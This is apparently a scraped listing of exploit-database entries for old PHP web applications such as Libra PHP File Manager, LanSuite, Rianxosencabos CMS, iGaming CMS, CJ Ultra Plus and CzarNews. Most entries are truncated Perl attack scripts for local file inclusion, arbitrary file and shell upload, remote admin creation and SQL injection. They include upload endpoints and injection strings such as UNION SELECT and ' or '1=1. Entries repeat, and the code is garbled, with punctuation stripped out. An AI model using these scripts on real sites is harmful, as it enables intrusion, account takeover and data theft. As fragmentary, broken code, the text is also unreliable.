Libra File Manager 1.182.0 - fileadmin.php Local File Inclusion

Libra File Manager 1.182.0 - fileadmin.php Local File Inclusion source: https://www.securityfocus.com/bid/31403/info Libra File Manager is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability using...

Libra PHP File Manager 1.182.0 - Local File Inclusion

Libra PHP File Manager 1.182.0 - Local File Inclusion ! /usr/bin/perl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Libra PHP File Manager eNYe-Sec - www.enye-sec.org Greetings to Ka0x for help me with the perl code : You can scale directories and read any file that you have...

Libra PHP File Manager <= 1.18/2.0 Local File Inclusion Exploit

Exploit for unknown platform in category web applications =============================================================== Libra PHP File Manager eNYe-Sec - www.enye-sec.org Greetings to Ka0x for help me with the perl code : You can scale directories and read any file that you have permissions use...

Libra PHP File Manager &lt;= 1.18/2.0 Local File Inclusion Exploit

No description provided by source. ! /usr/bin/perl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Libra PHP File Manager = 1.18 / Local File Inclusion Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Program: Libra PHP File Manager Version: =...

LanSuite 3.3.2 - FCKeditor Arbitrary File Upload

LanSuite 3.3.2 - FCKeditor Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...

LanSuite 3.3.2 (fckeditor) Arbitrary File Upload Exploit

No description provided by source. !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ + LanSuite 3.3.2 fckeditor Arbitrary File Upload + + + + By: Stack +...

Rianxosencabos CMS 0.9 Remote Add Admin Exploit

No description provided by source. !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x ka0x01 at gmail dot com D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login,...

LanSuite 3.3.2 - 'FCKeditor' Arbitrary File Upload

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'/FCKeditor/editor/filemanager/upload/php/upload.php', ContentType =...

Libra PHP File Manager 1.18/2.0 - Local File Inclusion

!/usr/bin/perl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Libra PHP File Manager eNYe-Sec - www.enye-sec.org Greetings to Ka0x for help me with the perl code : You can scale directories and read any file that you have permissions use LWP::UserAgent; $ua =...

Rianxosencabos CMS 0.9 Remote Add Admin Exploit

Exploit for unknown platform in category web applications =============================================== Rianxosencabos CMS 0.9 Remote Add Admin Exploit =============================================== !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download:...

oscmax-upload.txt

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Localpath of shellC:/whatever: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'FCKeditor/editor/filemanager/browser/default/connectors/test.html', ContentType =...

igamingcms-sql.txt

!/usr/bin/perl ---------------------------------------------------------- iGaming agent"Mozilla/4.5 en Win95; U"; $http-timeout1; if$host ! /^http://.+?$/ print "? iGaming CMS get$host.'/previews.php?browse='.$exec; $two = $http-get$host.'/reviews.php?browse='.$exec; $xxx =...

Rianxosencabos CMS 0.9 - Remote Add Admin

Rianxosencabos CMS 0.9 - Remote Add Admin !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login, $pass, $mail,...

Rianxosencabos CMS 0.9 - Remote Add Admin

!/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login, $pass, $mail, $userid = @ARGV ; unless$ARGV4 print " usage:...

cjultra-sql.txt

!/usr/bin/perl CJ Ultra Plus GretzZz 2: pronoobz.org - Wesker, China Sun and all other memberZz "SID='UNION SELECT b12 from settings/"; $ua = LWP::UserAgent-new; $ua-timeout10; $ua-envproxy; $ua-agent"Mozilla/5.0 Windows; U; Windows NT 5.1; nl; rv:1.8.1.12 Gecko/20080201 Firefox/2.0.0.12";...

iGaming CMS 1.5 - Multiple SQL Injections

!/usr/bin/perl ---------------------------------------------------------- iGaming agent"Mozilla/4.5 en Win95; U"; $http-timeout1; if$host ! /^http://.+?$/ print "? iGaming CMS get$host.'/previews.php?browse='.$exec; $two = $http-get$host.'/reviews.php?browse='.$exec; $xxx =...

CJ Ultra Plus <= 1.0.4 Cookie Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================== CJ Ultra Plus GretzZz 2: pronoobz.org - Wesker, China Sun and all other memberZz "SID='UNION SELECT b12 from settings/"; $ua = LWP::UserAgent-new; $ua-t...

CJ Ultra Plus &lt;= 1.0.4 Cookie Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl CJ Ultra Plus = v1.0.4 Cookie SQL Injection found and coded by -SmoG- /\GermAn hAckZ0r contact: ICQ - 266836394 hints: - sometimes the parameter "SID" is different to the normal one... - i extract the hash from the html-code... but i was 2 lazy fo...

addalink &lt;= 4 Arbitrary Admin Access Vulnerability Exploit

No description provided by source. addalink = 4 Arbitrary Admin Access Vulnerability Exploit url: http://sourceforge.net/projects/addalink/ Author: JosS mail: sys-projectathotmaildotcom site: http://spanish-hackers.com team: Spanish Hackers Team - SHT This was written for educational purpose. Use...

czarnewscookie-sql.txt

!/usr/bin/perl ---------------------------------------------------------- CzarNews agent"Mozilla/4.5 en Win95; U"; $https-timeout1; $https-defaultheader'Cookie' = "recook=' or '1=1,' or '1=1"; $request = $https-post$hostname."/cnusers.php", user = $username, pass = $password, email = $email,...